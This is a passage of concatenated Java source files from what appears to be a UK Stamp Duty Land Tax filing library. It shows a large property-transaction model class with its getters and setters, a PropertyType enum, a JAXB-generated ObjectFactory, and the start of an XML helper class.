purchaser2Surname; @SdltXmlValue("SDLT_Purchaser2FirstName1") protected String purchaser2FirstName1; @SdltXmlValue("SDLT_Purchaser2FirstName2") protected String purchaser2FirstName2; @SdltXmlValue("SDLT_Purchaser2AddressSameYesNo") protected Boolean purchaser2AddressSame; @SdltXmlValue("SDLT_Purchaser2AddressPostcode") protected String purchaser2AddressPostcode; @SdltXmlValue("SDLT_Purchaser2AddressBuildingNo") protected String purchaser2AddressProperty; @SdltXmlValue("SDLT_Purchaser2Address1") protected String purchaser2Address1; @SdltXmlValue("SDLT_Purchaser2Address2") protected String purchaser2Address2; @SdltXmlValue("SDLT_Purchaser2Address3") protected String purchaser2Address3; @SdltXmlValue("SDLT_Purchaser2Address4") protected String purchaser2Address4; @SdltXmlValue("SDLT_Purchaser2ActingAsTrusteeYesNo") protected Boolean purchaser2ActingAsTrustee; protected List<Sdlt2> sdlt2s = new ArrayList<>(); protected List<Sdlt3> sdlt3s = new ArrayList<>(); protected List<Sdlt4> sdlt4s = new ArrayList<>(); public String getId() { return id; } public void setId(String id) { this.id = id; } public LocalDateTime getCreated() { return created; } public void setCreated(LocalDateTime created) { this.created = created; } public String getUserNotes() { return userNotes; } public void setUserNotes(String userNotes) { this.userNotes = userNotes; } public Boolean getFirstTimeBuyer() { return firstTimeBuyer; } public void setFirstTimeBuyer(Boolean firstTimeBuyer) { this.firstTimeBuyer = firstTimeBuyer; } public Boolean getClosedOff() { return closedOff; } public void setClosedOff(Boolean closedOff) { this.closedOff = closedOff; } public Boolean getStampDutyPaid() { return stampDutyPaid; } public void setStampDutyPaid(Boolean stampDutyPaid) { this.stampDutyPaid = stampDutyPaid; } public String getChequeNumber() { return chequeNumber; } public void setChequeNumber(String chequeNumber) { this.chequeNumber = chequeNumber; } public PropertyType getPropertyType() { return propertyType; } public void setPropertyType(PropertyType propertyType) { this.propertyType = propertyType; } public TransactionDescriptionType getTransactionDescription() { return transactionDescription; } public void setTransactionDescription(TransactionDescriptionType transactionDescription) { this.transactionDescription = transactionDescription; } public InterestCreatedType getInterestCreated() { return interestCreated; } public void setInterestCreated(InterestCreatedType interestCreated) { this.interestCreated = interestCreated; } public String getInterestCreatedDetailed() { return interestCreatedDetailed; } public void setInterestCreatedDetailed(String interestCreatedDetailed) { this.interestCreatedDetailed = interestCreatedDetailed; } public LocalDate getDateOfTransaction() { return dateOfTransaction; } public void setDateOfTransaction(LocalDate dateOfTransaction) { this.dateOfTransaction = dateOfTransaction; } public Boolean getAnyRestrictions() { return anyRestrictions; } public void setAnyRestrictions(Boolean anyRestrictions) { this.anyRestrictions = anyRestrictions; } public String getRestrictionDetails() { return restrictionDetails; } public void setRestrictionDetails(String restrictionDetails) { this.restrictionDetails = restrictionDetails; } public LocalDate getDateOfContract() { return dateOfContract; } public void setDateOfContract(LocalDate dateOfContract) { this.dateOfContract = dateOfContract; } public Boolean getAnyLandExchanged() { return anyLandExchanged; } public void setAnyLandExchanged(Boolean anyLandExchanged) { this.anyLandExchanged = anyLandExchanged; } public String getExchangedPostcode() { return exchangedPostcode; } public void setExchangedPostcode(String exchangedPostcode) { this.exchangedPostcode = exchangedPostcode; } public String getExchangedProperty() { return exchangedProperty; } public void setExchangedProperty(String exchangedProperty) { this.exchangedProperty = exchangedProperty; } public String getExchangedAddress1() { return exchangedAddress1; } public void setExchangedAddress1(String exchangedAddress1) { this.exchangedAddress1 = exchangedAddress1; } public String getExchangedAddress2() { return exchangedAddress2; } public void setExchangedAddress2(String exchangedAddress2) { this.exchangedAddress2 = exchangedAddress2; } public String getExchangedAddress3() { return exchangedAddress3; } public void setExchangedAddress3(String exchangedAddress3) { this.exchangedAddress3 = exchangedAddress3; } public String getExchangedAddress4() { return exchangedAddress4; } public void setExchangedAddress4(String exchangedAddress4) { this.exchangedAddress4 = exchangedAddress4; } public Boolean getPursantToPreviousAgreement() { return pursantToPreviousAgreement; } public void setPursantToPreviousAgreement(Boolean pursantToPreviousAgreement) { this.pursantToPreviousAgreement = pursantToPreviousAgreement; } public Boolean getClaimingTaxRelief() { return claimingTaxRelief; } public void setClaimingTaxRelief(Boolean claimingTaxRelief) { this.claimingTaxRelief = claimingTaxRelief; } public TaxReliefType getTaxReliefReason() { return taxReliefReason; } public void setTaxReliefReason(TaxReliefType taxReliefReason) { this.taxReliefReason = taxReliefReason; } public String getTaxReliefCharityNumber() { return taxReliefCharityNumber; } public void setTaxReliefCharityNumber(String taxReliefCharityNumber) { this.taxReliefCharityNumber = taxReliefCharityNumber; } public BigDecimal getTaxReliefAmount() { return taxReliefAmount; } public void setTaxReliefAmount(BigDecimal taxReliefAmount) { this.taxReliefAmount = taxReliefAmount; } public BigDecimal getTotalConsiderationIncVat() { return totalConsiderationIncVat; } public void setTotalConsiderationIncVat(BigDecimal totalConsiderationIncVat) { this.totalConsiderationIncVat = totalConsiderationIncVat; } public PurchaserType getPurchaserTypeCode() { return purchaserTypeCode; } public void setPurchaserTypeCode(PurchaserType purchaserTypeCode) { this.purchaserTypeCode = purchaserTypeCode; } public BigDecimal getTotalConsiderationVat() { return totalConsiderationVat; } public void setTotalConsiderationVat(BigDecimal totalConsiderationVat) { this.totalConsiderationVat = totalConsiderationVat; } public ConsiderationType getConsiderationFormCode1() { return considerationFormCode1; } public void setConsiderationFormCode1(ConsiderationType considerationFormCode1) { this.considerationFormCode1 = considerationFormCode1; } public ConsiderationType getConsiderationFormCode2() { return considerationFormCode2; } public void setConsiderationFormCode2(ConsiderationType considerationFormCode2) { this.considerationFormCode2 = considerationFormCode2; } public ConsiderationType getConsiderationFormCode3() { return considerationFormCode3; } public void setConsiderationFormCode3(ConsiderationType considerationFormCode3) { this.considerationFormCode3 = considerationFormCode3; } public ConsiderationType getConsiderationFormCode4() { return considerationFormCode4; } public void setConsiderationFormCode4(ConsiderationType considerationFormCode4) { this.considerationFormCode4 = considerationFormCode4; } public Boolean getTransactionLinked() { return transactionLinked; } public void setTransactionLinked(Boolean transactionLinked) { this.transactionLinked = transactionLinked; } public BigDecimal getTotalLinkedConsiderationIncVat() { return totalLinkedConsiderationIncVat; } public void setTotalLinkedConsiderationIncVat(BigDecimal totalLinkedConsiderationIncVat) { this.totalLinkedConsiderationIncVat = totalLinkedConsiderationIncVat; } public BigDecimal getTotalTaxDue() { return totalTaxDue; } public void setTotalTaxDue(BigDecimal totalTaxDue) { this.totalTaxDue = totalTaxDue; } public BigDecimal getTotalTaxPaid() { return totalTaxPaid; } public void setTotalTaxPaid(BigDecimal totalTaxPaid) { this.totalTaxPaid = totalTaxPaid; } public Boolean getTotalTaxPaidIncPenalty() { return totalTaxPaidIncPenalty; } public void setTotalTaxPaidIncPenalty(Boolean totalTaxPaidIncPenalty) { this.totalTaxPaidIncPenalty = totalTaxPaidIncPenalty; } public String getLeaseTypeCode() { return leaseTypeCode; } public void setLeaseTypeCode(String leaseTypeCode) { this.leaseTypeCode = leaseTypeCode; } public LocalDate getLeaseStartDate() { return leaseStartDate; } public void setLeaseStartDate(LocalDate leaseStartDate) { this.leaseStartDate = leaseStartDate; } public LocalDate getLeaseEndDate() { return leaseEndDate; } public void setLeaseEndDate(LocalDate leaseEndDate) { this.leaseEndDate = leaseEndDate; } public String getRentFreePeriod() { return rentFreePeriod; } public void setRentFreePeriod(String rentFreePeriod) { this.rentFreePeriod = rentFreePeriod; } public BigDecimal getTotalAnnualRentIncVat() { return totalAnnualRentIncVat; } public void setTotalAnnualRentIncVat(BigDecimal totalAnnualRentIncVat) { this.totalAnnualRentIncVat = totalAnnualRentIncVat; } public LocalDate getEndDateForStartingRent() { return endDateForStartingRent; } public void setEndDateForStartingRent(LocalDate endDateForStartingRent) { this.endDateForStartingRent = endDateForStartingRent; } public Boolean getLaterRentKnown() { return laterRentKnown; } public void setLaterRentKnown(Boolean laterRentKnown) { this.laterRentKnown = laterRentKnown; } public BigDecimal getLeaseAmountVat() { return leaseAmountVat; } public void setLeaseAmountVat(BigDecimal leaseAmountVat) { this.leaseAmountVat = leaseAmountVat; } public BigDecimal getTotalLeasePremiumPayable() { return totalLeasePremiumPayable; } public void setTotalLeasePremiumPayable(BigDecimal totalLeasePremiumPayable) { this.totalLeasePremiumPayable = totalLeasePremiumPayable; } public BigDecimal getNetPresentValue() { return netPresentValue; } public void setNetPresentValue(BigDecimal netPresentValue) { this.netPresentValue = netPresentValue; } public BigDecimal getTotalLeasePremiumTaxPayable() { return totalLeasePremiumTaxPayable; } public void setTotalLeasePremiumTaxPayable(BigDecimal totalLeasePremiumTaxPayable) { this.totalLeasePremiumTaxPayable = totalLeasePremiumTaxPayable; } public BigDecimal getTotalLeaseNpvTaxPayable() { return totalLeaseNpvTaxPayable; } public void setTotalLeaseNpvTaxPayable(BigDecimal totalLeaseNpvTaxPayable) { this.totalLeaseNpvTaxPayable = totalLeaseNpvTaxPayable; } public Integer getNumberOfPropertiesIncluded() { return numberOfPropertiesIncluded; } public void setNumberOfPropertiesIncluded(Integer numberOfPropertiesIncluded) { this.numberOfPropertiesIncluded = numberOfPropertiesIncluded; } public String getPropertyPostcode() { return propertyPostcode; } public void setPropertyPostcode(String propertyPostcode) { this.propertyPostcode = propertyPostcode; } public String getPropertyProperty() { return propertyProperty; } public void setPropertyProperty(String propertyProperty) { this.propertyProperty = propertyProperty; } public String getPropertyAddress1() { return propertyAddress1; } public void setPropertyAddress1(String propertyAddress1) { this.propertyAddress1 = propertyAddress1; } public String getPropertyAddress2() { return propertyAddress2; } public void setPropertyAddress2(String propertyAddress2) { this.propertyAddress2 = propertyAddress2; } public String getPropertyAddress3() { return propertyAddress3; } public void setPropertyAddress3(String propertyAddress3) { this.propertyAddress3 = propertyAddress3; } public String getPropertyAddress4() { return propertyAddress4; } public void setPropertyAddress4(String propertyAddress4) { this.propertyAddress4 = propertyAddress4; } public LocalAuthority getLocalAuthorityCode() { return localAuthorityCode; } public void setLocalAuthorityCode(LocalAuthority localAuthorityCode) { this.localAuthorityCode = localAuthorityCode; } public String getTitleNumber() { return titleNumber; } public void setTitleNumber(String titleNumber) { this.titleNumber = titleNumber; } public String getPropertyNlpgUprn() { return propertyNlpgUprn; } public void setPropertyNlpgUprn(String propertyNlpgUprn) { this.propertyNlpgUprn = propertyNlpgUprn; } public String getPropertyUnitsHectareMetres() { return propertyUnitsHectareMetres; } public void setPropertyUnitsHectareMetres(String propertyUnitsHectareMetres) { this.propertyUnitsHectareMetres = propertyUnitsHectareMetres; } public String getPropertyAreaSize() { return propertyAreaSize; } public void setPropertyAreaSize(String propertyAreaSize) { this.propertyAreaSize = propertyAreaSize; } public Boolean getPropertyPlanAttached() { return propertyPlanAttached; } public void setPropertyPlanAttached(Boolean propertyPlanAttached) { this.propertyPlanAttached = propertyPlanAttached; } public Integer getNumberOfVendors() { return numberOfVendors; } public void setNumberOfVendors(Integer numberOfVendors) { this.numberOfVendors = numberOfVendors; } public String getVendor1Title() { return vendor1Title; } public void setVendor1Title(String vendor1Title) { this.vendor1Title = vendor1Title; } public String getVendor1Surname() { return vendor1Surname; } public void setVendor1Surname(String vendor1Surname) { this.vendor1Surname = vendor1Surname; } public String getVendor1FirstName() { return vendor1FirstName; } public void setVendor1FirstName(String vendor1FirstName) { this.vendor1FirstName = vendor1FirstName; } public String getVendor1SecondName() { return vendor1SecondName; } public void setVendor1SecondName(String vendor1SecondName) { this.vendor1SecondName = vendor1SecondName; } public String getVendor1AddressPostcode() { return vendor1AddressPostcode; } public void setVendor1AddressPostcode(String vendor1AddressPostcode) { this.vendor1AddressPostcode = vendor1AddressPostcode; } public String getVendor1AddressProperty() { return vendor1AddressProperty; } public void setVendor1AddressProperty(String vendor1AddressProperty) { this.vendor1AddressProperty = vendor1AddressProperty; } public String getVendor1Address1() { return vendor1Address1; } public void setVendor1Address1(String vendor1Address1) { this.vendor1Address1 = vendor1Address1; } public String getVendor1Address2() { return vendor1Address2; } public void setVendor1Address2(String vendor1Address2) { this.vendor1Address2 = vendor1Address2; } public String getVendor1Address3() { return vendor1Address3; } public void setVendor1Address3(String vendor1Address3) { this.vendor1Address3 = vendor1Address3; } public String getVendor1Address4() { return vendor1Address4; } public void setVendor1Address4(String vendor1Address4) { this.vendor1Address4 = vendor1Address4; } public String getVendor2Title() { return vendor2Title; } public void setVendor2Title(String vendor2Title) { this.vendor2Title = vendor2Title; } public String getVendor2Surname() { return vendor2Surname; } public void setVendor2Surname(String vendor2Surname) { this.vendor2Surname = vendor2Surname; } public String getVendor2FirstName() { return vendor2FirstName; } public void setVendor2FirstName(String vendor2FirstName) { this.vendor2FirstName = vendor2FirstName; } public String getVendor2SecondName() { return vendor2SecondName; } public void setVendor2SecondName(String vendor2SecondName) { this.vendor2SecondName = vendor2SecondName; } public Boolean getVendor2SameAddress() { return vendor2SameAddress; } public void setVendor2SameAddress(Boolean vendor2SameAddress) { this.vendor2SameAddress = vendor2SameAddress; } public String getVendor2AddressPostcode() { return vendor2AddressPostcode; } public void setVendor2AddressPostcode(String vendor2AddressPostcode) { this.vendor2AddressPostcode = vendor2AddressPostcode; } public String getVendor2AddressProperty() { return vendor2AddressProperty; } public void setVendor2AddressProperty(String vendor2AddressProperty) { this.vendor2AddressProperty = vendor2AddressProperty; } public String getVendor2Address1() { return vendor2Address1; } public void setVendor2Address1(String vendor2Address1) { this.vendor2Address1 = vendor2Address1; } public String getVendor2Address2() { return vendor2Address2; } public void setVendor2Address2(String vendor2Address2) { this.vendor2Address2 = vendor2Address2; } public String getVendor2Address3() { return vendor2Address3; } public void setVendor2Address3(String vendor2Address3) { this.vendor2Address3 = vendor2Address3; } public String getVendor2Address4() { return vendor2Address4; } public void setVendor2Address4(String vendor2Address4) { this.vendor2Address4 = vendor2Address4; } public String getVendorsAgentFirmName() { return vendorsAgentFirmName; } public void setVendorsAgentFirmName(String vendorsAgentFirmName) { this.vendorsAgentFirmName = vendorsAgentFirmName; } public String getVendorsAgentPostcode() { return vendorsAgentPostcode; } public void setVendorsAgentPostcode(String vendorsAgentPostcode) { this.vendorsAgentPostcode = vendorsAgentPostcode; } public String getVendorsAgentProperty() { return vendorsAgentProperty; } public void setVendorsAgentProperty(String vendorsAgentProperty) { this.vendorsAgentProperty = vendorsAgentProperty; } public String getVendorsAgentAddress1() { return vendorsAgentAddress1; } public void setVendorsAgentAddress1(String vendorsAgentAddress1) { this.vendorsAgentAddress1 = vendorsAgentAddress1; } public String getVendorsAgentAddress2() { return vendorsAgentAddress2; } public void setVendorsAgentAddress2(String vendorsAgentAddress2) { this.vendorsAgentAddress2 = vendorsAgentAddress2; } public String getVendorsAgentAddress3() { return vendorsAgentAddress3; } public void setVendorsAgentAddress3(String vendorsAgentAddress3) { this.vendorsAgentAddress3 = vendorsAgentAddress3; } public String getVendorsAgentAddress4() { return vendorsAgentAddress4; } public void setVendorsAgentAddress4(String vendorsAgentAddress4) { this.vendorsAgentAddress4 = vendorsAgentAddress4; } public String getVendorsAgentEmail() { return vendorsAgentEmail; } public void setVendorsAgentEmail(String vendorsAgentEmail) { this.vendorsAgentEmail = vendorsAgentEmail; } public String getVendorsAgentReference() { return vendorsAgentReference; } public void setVendorsAgentReference(String vendorsAgentReference) { this.vendorsAgentReference = vendorsAgentReference; } public String getVendorsAgentTelNumber() { return vendorsAgentTelNumber; } public void setVendorsAgentTelNumber(String vendorsAgentTelNumber) { this.vendorsAgentTelNumber = vendorsAgentTelNumber; } public String getPurchaser1NINumber() { return purchaser1NINumber; } public void setPurchaser1NINumber(String purchaser1NINumber) { this.purchaser1NINumber = purchaser1NINumber; } public String getPurchaser1VatRegNumber() { return purchaser1VatRegNumber; } public void setPurchaser1VatRegNumber(String purchaser1VatRegNumber) { this.purchaser1VatRegNumber = purchaser1VatRegNumber; } public String getPurchaser1TaxRef() { return purchaser1TaxRef; } public void setPurchaser1TaxRef(String purchaser1TaxRef) { this.purchaser1TaxRef = purchaser1TaxRef; } public String getPurchaser1CompanyNumber() { return purchaser1CompanyNumber; } public void setPurchaser1CompanyNumber(String purchaser1CompanyNumber) { this.purchaser1CompanyNumber = purchaser1CompanyNumber; } public String getPurchaser1PlaceOfIssue() { return purchaser1PlaceOfIssue; } public void setPurchaser1PlaceOfIssue(String purchaser1PlaceOfIssue) { this.purchaser1PlaceOfIssue = purchaser1PlaceOfIssue; } public Integer getTotalNumberOfPurchasers() { return totalNumberOfPurchasers; } public void setTotalNumberOfPurchasers(Integer totalNumberOfPurchasers) { this.totalNumberOfPurchasers = totalNumberOfPurchasers; } public String getPurchaser1Title() { return purchaser1Title; } public void setPurchaser1Title(String purchaser1Title) { this.purchaser1Title = purchaser1Title; } public String getPurchaser1Surname() { return purchaser1Surname; } public void setPurchaser1Surname(String purchaser1Surname) { this.purchaser1Surname = purchaser1Surname; } public String getPurchaser1FirstName1() { return purchaser1FirstName1; } public void setPurchaser1FirstName1(String purchaser1FirstName1) { this.purchaser1FirstName1 = purchaser1FirstName1; } public String getPurchaser1FirstName2() { return purchaser1FirstName2; } public void setPurchaser1FirstName2(String purchaser1FirstName2) { this.purchaser1FirstName2 = purchaser1FirstName2; } public Boolean getPurchaser1AddressSame() { return purchaser1AddressSame; } public void setPurchaser1AddressSame(Boolean purchaser1AddressSame) { this.purchaser1AddressSame = purchaser1AddressSame; } public String getPurchaser1AddressPostcode() { return purchaser1AddressPostcode; } public void setPurchaser1AddressPostcode(String purchaser1AddressPostcode) { this.purchaser1AddressPostcode = purchaser1AddressPostcode; } public String getPurchaser1AddressProperty() { return purchaser1AddressProperty; } public void setPurchaser1AddressProperty(String purchaser1AddressProperty) { this.purchaser1AddressProperty = purchaser1AddressProperty; } public String getPurchaser1Address1() { return purchaser1Address1; } public void setPurchaser1Address1(String purchaser1Address1) { this.purchaser1Address1 = purchaser1Address1; } public String getPurchaser1Address2() { return purchaser1Address2; } public void setPurchaser1Address2(String purchaser1Address2) { this.purchaser1Address2 = purchaser1Address2; } public String getPurchaser1Address3() { return purchaser1Address3; } public void setPurchaser1Address3(String purchaser1Address3) { this.purchaser1Address3 = purchaser1Address3; } public String getPurchaser1Address4() { return purchaser1Address4; } public void setPurchaser1Address4(String purchaser1Address4) { this.purchaser1Address4 = purchaser1Address4; } public Boolean getPurchase1ActingAsTrustee() { return purchase1ActingAsTrustee; } public void setPurchase1ActingAsTrustee(Boolean purchase1ActingAsTrustee) { this.purchase1ActingAsTrustee = purchase1ActingAsTrustee; } public String getPurchaser1Telephone() { return purchaser1Telephone; } public void setPurchaser1Telephone(String purchaser1Telephone) { this.purchaser1Telephone = purchaser1Telephone; } public Boolean getPurchaserVendorConnected() { return purchaserVendorConnected; } public void setPurchaserVendorConnected(Boolean purchaserVendorConnected) { this.purchaserVendorConnected = purchaserVendorConnected; } public Boolean getPurchaser1CorrespondenceTo() { return purchaser1CorrespondenceTo; } public void setPurchaser1CorrespondenceTo(Boolean purchaser1CorrespondenceTo) { this.purchaser1CorrespondenceTo = purchaser1CorrespondenceTo; } public String getPurchaserAgentFirm() { return purchaserAgentFirm; } public void setPurchaserAgentFirm(String purchaserAgentFirm) { this.purchaserAgentFirm = purchaserAgentFirm; } public String getPurchaserAgentAddressPostcode() { return purchaserAgentAddressPostcode; } public void setPurchaserAgentAddressPostcode(String purchaserAgentAddressPostcode) { this.purchaserAgentAddressPostcode = purchaserAgentAddressPostcode; } public String getPurchaserAgentAddressProperty() { return purchaserAgentAddressProperty; } public void setPurchaserAgentAddressProperty(String purchaserAgentAddressProperty) { this.purchaserAgentAddressProperty = purchaserAgentAddressProperty; } public String getPurchaserAgentAddress1() { return purchaserAgentAddress1; } public void setPurchaserAgentAddress1(String purchaserAgentAddress1) { this.purchaserAgentAddress1 = purchaserAgentAddress1; } public String getPurchaserAgentAddress2() { return purchaserAgentAddress2; } public void setPurchaserAgentAddress2(String purchaserAgentAddress2) { this.purchaserAgentAddress2 = purchaserAgentAddress2; } public String getPurchaserAgentAddress3() { return purchaserAgentAddress3; } public void setPurchaserAgentAddress3(String purchaserAgentAddress3) { this.purchaserAgentAddress3 = purchaserAgentAddress3; } public String getPurchaserAgentAddress4() { return purchaserAgentAddress4; } public void setPurchaserAgentAddress4(String purchaserAgentAddress4) { this.purchaserAgentAddress4 = purchaserAgentAddress4; } public String getPurchaserAgentReference() { return purchaserAgentReference; } public void setPurchaserAgentReference(String purchaserAgentReference) { this.purchaserAgentReference = purchaserAgentReference; } public String getPurchaserAgentTel() { return purchaserAgentTel; } public void setPurchaserAgentTel(String purchaserAgentTel) { this.purchaserAgentTel = purchaserAgentTel; } public String getPurchaserAgentEmail() { return purchaserAgentEmail; } public void setPurchaserAgentEmail(String purchaserAgentEmail) { this.purchaserAgentEmail = purchaserAgentEmail; } public String getPurchaser2Title() { return purchaser2Title; } public void setPurchaser2Title(String purchaser2Title) { this.purchaser2Title = purchaser2Title; } public String getPurchaser2Surname() { return purchaser2Surname; } public void setPurchaser2Surname(String purchaser2Surname) { this.purchaser2Surname = purchaser2Surname; } public String getPurchaser2FirstName1() { return purchaser2FirstName1; } public void setPurchaser2FirstName1(String purchaser2FirstName1) { this.purchaser2FirstName1 = purchaser2FirstName1; } public String getPurchaser2FirstName2() { return purchaser2FirstName2; } public void setPurchaser2FirstName2(String purchaser2FirstName2) { this.purchaser2FirstName2 = purchaser2FirstName2; } public Boolean getPurchaser2AddressSame() { return purchaser2AddressSame; } public void setPurchaser2AddressSame(Boolean purchaser2AddressSame) { this.purchaser2AddressSame = purchaser2AddressSame; } public String getPurchaser2AddressPostcode() { return purchaser2AddressPostcode; } public void setPurchaser2AddressPostcode(String purchaser2AddressPostcode) { this.purchaser2AddressPostcode = purchaser2AddressPostcode; } public String getPurchaser2AddressProperty() { return purchaser2AddressProperty; } public void setPurchaser2AddressProperty(String purchaser2AddressProperty) { this.purchaser2AddressProperty = purchaser2AddressProperty; } public String getPurchaser2Address1() { return purchaser2Address1; } public void setPurchaser2Address1(String purchaser2Address1) { this.purchaser2Address1 = purchaser2Address1; } public String getPurchaser2Address2() { return purchaser2Address2; } public void setPurchaser2Address2(String purchaser2Address2) { this.purchaser2Address2 = purchaser2Address2; } public String getPurchaser2Address3() { return purchaser2Address3; } public void setPurchaser2Address3(String purchaser2Address3) { this.purchaser2Address3 = purchaser2Address3; } public String getPurchaser2Address4() { return purchaser2Address4; } public void setPurchaser2Address4(String purchaser2Address4) { this.purchaser2Address4 = purchaser2Address4; } public Boolean getPurchaser2ActingAsTrustee() { return purchaser2ActingAsTrustee; } public void setPurchaser2ActingAsTrustee(Boolean purchaser2ActingAsTrustee) { this.purchaser2ActingAsTrustee = purchaser2ActingAsTrustee; } public List<Sdlt2> getSdlt2s() { return sdlt2s; } public void setSdlt2s(List<Sdlt2> sdlt2s) { this.sdlt2s = sdlt2s; } public List<Sdlt3> getSdlt3s() { return sdlt3s; } public void setSdlt3s(List<Sdlt3> sdlt3s) { this.sdlt3s = sdlt3s; } public List<Sdlt4> getSdlt4s() { return sdlt4s; } public void setSdlt4s(List<Sdlt4> sdlt4s) { this.sdlt4s = sdlt4s; } public String getVendorsAgentDxNo() { return vendorsAgentDxNo; } public void setVendorsAgentDxNo(String vendorsAgentDxNo) { this.vendorsAgentDxNo = vendorsAgentDxNo; } public String getVendorsAgentDxExchange() { return vendorsAgentDxExchange; } public void setVendorsAgentDxExchange(String vendorsAgentDxExchange) { this.vendorsAgentDxExchange = vendorsAgentDxExchange; } public LocalDate getPurchaser1DoB() { return purchaser1DoB; } public void setPurchaser1DoB(LocalDate purchaser1DoB) { this.purchaser1DoB = purchaser1DoB; } public String getPurchaserAgentDxNo() { return purchaserAgentDxNo; } public void setPurchaserAgentDxNo(String purchaserAgentDxNo) { this.purchaserAgentDxNo = purchaserAgentDxNo; } public String getPurchaserAgentDxExchange() { return purchaserAgentDxExchange; } public void setPurchaserAgentDxExchange(String purchaserAgentDxExchange) { this.purchaserAgentDxExchange = purchaserAgentDxExchange; } } <file_sep>/src/main/java/com/redmonkeysoftware/sdlt/model/PropertyType.java package com.redmonkeysoftware.sdlt.model; import org.apache.commons.lang3.StringUtils; public enum PropertyType implements BaseEnumType { RESIDENTIAL("01", "Residential"), MIXED("02", "Mixed"), NON_RESIDENTIAL("03", "Non-Residential"), ADDITIONAL_RESIDENTIAL_PROPERTY("04", "Additional Residential Property"); private final String code; private final String description; private PropertyType(final String code, final String description) { this.code = code; this.description = description; } @Override public String getCode() { return code; } @Override public String getDescription() { return description; } @Override public String toString() { return code; } public static PropertyType fromCode(final String code) { for (PropertyType ict : values()) { if (StringUtils.equalsIgnoreCase(ict.getCode(), code)) { return ict; } } return null; } } <file_sep>/target/generated-sources/jaxb/com/redmonkeysoftware/sdlt/model/response/ObjectFactory.java // // This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.3.0 // See <a href="https://javaee.github.io/jaxb-v2/">https://javaee.github.io/jaxb-v2/</a> // Any modifications to this file will be lost upon recompilation of the source schema. // Generated on: 2021.01.19 at 05:38:10 PM GMT // package com.redmonkeysoftware.sdlt.model.response; import javax.xml.bind.annotation.XmlRegistry; /** * This object contains factory methods for each * Java content interface and Java element interface * generated in the com.redmonkeysoftware.sdlt.model.response package. * <p>An ObjectFactory allows you to programatically * construct new instances of the Java representation * for XML content. The Java representation of XML * content can consist of schema derived interfaces * and classes representing the binding of schema * type definitions, element declarations and model * groups. Factory methods for each of these are * provided in this class. * */ @XmlRegistry public class ObjectFactory { /** * Create a new ObjectFactory that can be used to create new instances of schema derived classes for package: com.redmonkeysoftware.sdlt.model.response * */ public ObjectFactory() { } /** * Create an instance of {@link GetDocumentsStatus } * */ public GetDocumentsStatus createGetDocumentsStatus() { return new GetDocumentsStatus(); } /** * Create an instance of {@link ImportDocuments } * */ public ImportDocuments createImportDocuments() { return new ImportDocuments(); } /** * Create an instance of {@link GetPrintoutDocuments } * */ public GetPrintoutDocuments createGetPrintoutDocuments() { return new GetPrintoutDocuments(); } /** * Create an instance of {@link SDLTResponse } * */ public SDLTResponse createSDLTResponse() { return new SDLTResponse(); } /** * Create an instance of {@link SDLTResponse.Header } * */ public SDLTResponse.Header createSDLTResponseHeader() { return new SDLTResponse.Header(); } /** * Create an instance of {@link SDLTResponse.Header.Status } * */ public SDLTResponse.Header.Status createSDLTResponseHeaderStatus() { return new SDLTResponse.Header.Status(); } /** * Create an instance of {@link GetPrintoutDocuments.Document } * */ public GetPrintoutDocuments.Document createGetPrintoutDocumentsDocument() { return new GetPrintoutDocuments.Document(); } /** * Create an instance of {@link ImportDocuments.Document } * */ public ImportDocuments.Document createImportDocumentsDocument() { return new ImportDocuments.Document(); } /** * Create an instance of {@link GetDocumentsStatus.Document } * */ public GetDocumentsStatus.Document createGetDocumentsStatusDocument() { return new GetDocumentsStatus.Document(); } /** * Create an instance of {@link GetAccountOTP } * */ public GetAccountOTP createGetAccountOTP() { return new GetAccountOTP(); } /** * Create an instance of {@link Test } * */ public Test createTest() { return new Test(); } /** * Create an instance of {@link SDLTResponse.Body } * */ public SDLTResponse.Body createSDLTResponseBody() { return new SDLTResponse.Body(); } /** * Create an instance of {@link SDLTResponse.Header.Status.Error } * */ public SDLTResponse.Header.Status.Error createSDLTResponseHeaderStatusError() { return new SDLTResponse.Header.Status.Error(); } /** * Create an instance of {@link GetPrintoutDocuments.Document.PrintoutDocument } * */ public GetPrintoutDocuments.Document.PrintoutDocument createGetPrintoutDocumentsDocumentPrintoutDocument() { return new GetPrintoutDocuments.Document.PrintoutDocument(); } /** * Create an instance of {@link GetPrintoutDocuments.Document.Error } * */ public GetPrintoutDocuments.Document.Error createGetPrintoutDocumentsDocumentError() { return new GetPrintoutDocuments.Document.Error(); } /** * Create an instance of {@link ImportDocuments.Document.Error } * */ public ImportDocuments.Document.Error createImportDocumentsDocumentError() { return new ImportDocuments.Document.Error(); } } <file_sep>/src/main/java/com/redmonkeysoftware/sdlt/model/SdltXmlHelper.java package com.redmonkeysoftware.sdlt.model; import com.redmonkeysoftware.sdlt.model.request.api.GetAccountOTP; import com.redmonkeysoftware.sdlt.model.request.api.GetDocumentsStatus; import com.redmonkeysoftware.sdlt.model.request.api.GetDocumentsStatus.Filter; import com.redmonkeysoftware.sdlt.model.request.api.GetPrintoutDocuments; import com.redmonkeysoftware.sdlt.model.request.api.ImportDocuments; import com.redmonkeysoftware.sdlt.model.request.api.Test; import com.redmonkeysoftware.sdlt.model.request.sdlt.BooleanType; import com.redmonkeysoftware.sdlt.model.request.sdlt.DateTimeType; import com.redmonkeysoftware.sdlt.model.request.sdlt.DateType; import com.redmonkeysoftware.sdlt.model.request.sdlt.SDLT; import com.redmonkeysoftware.sdlt.model.request.sdlt.StringType; import com.redmonkeysoftware.sdlt.model.request.sdltmessage.SDLTMessage; import java.io.InputStream; import java.io.StringWriter; import java.lang.reflect.Field; import java.math.BigDecimal; import java.math.RoundingMode; import java.time.LocalDate; import java.time.LocalDateTime; import java.time.format.DateTimeFormatter; import java.util.Objects; import java.util.logging.Level; import java.util.logging.Logger; import javax.xml.bind.JAXBContext; import javax.xml.bind.JAXBElement; import javax.xml.bind.JAXBException; import javax.xml.bind.Marshaller; import javax.xml.bind.Unmarshaller; import javax.xml.datatype.XMLGregorianCalendar; import javax.xml.namespace.QName; import org.apache.commons.lang3.StringUtils; public class SdltXmlHelper { private final static Logger logger = Logger.getLogger(SdltXmlHelper.class.getName()); private static SdltXmlHelper instance; private final DateTimeFormatter dateFormatter = DateTimeFormatter.ISO_LOCAL_DATE; private final DateTimeFormatter dateTimeFormatter = DateTimeFormatter.ISO_LOCAL_DATE_TIME; private JAXBContext sdltRequestContext = JAXBContext.newInstance("com.redmonkeysoftware.sdlt.model.request.sdlt"); private JAXBContext sdltMessageRequestContext = JAXBContext.newInstance("com.redmonkeysoftware.sdlt.model.request.sdltmessage"); private 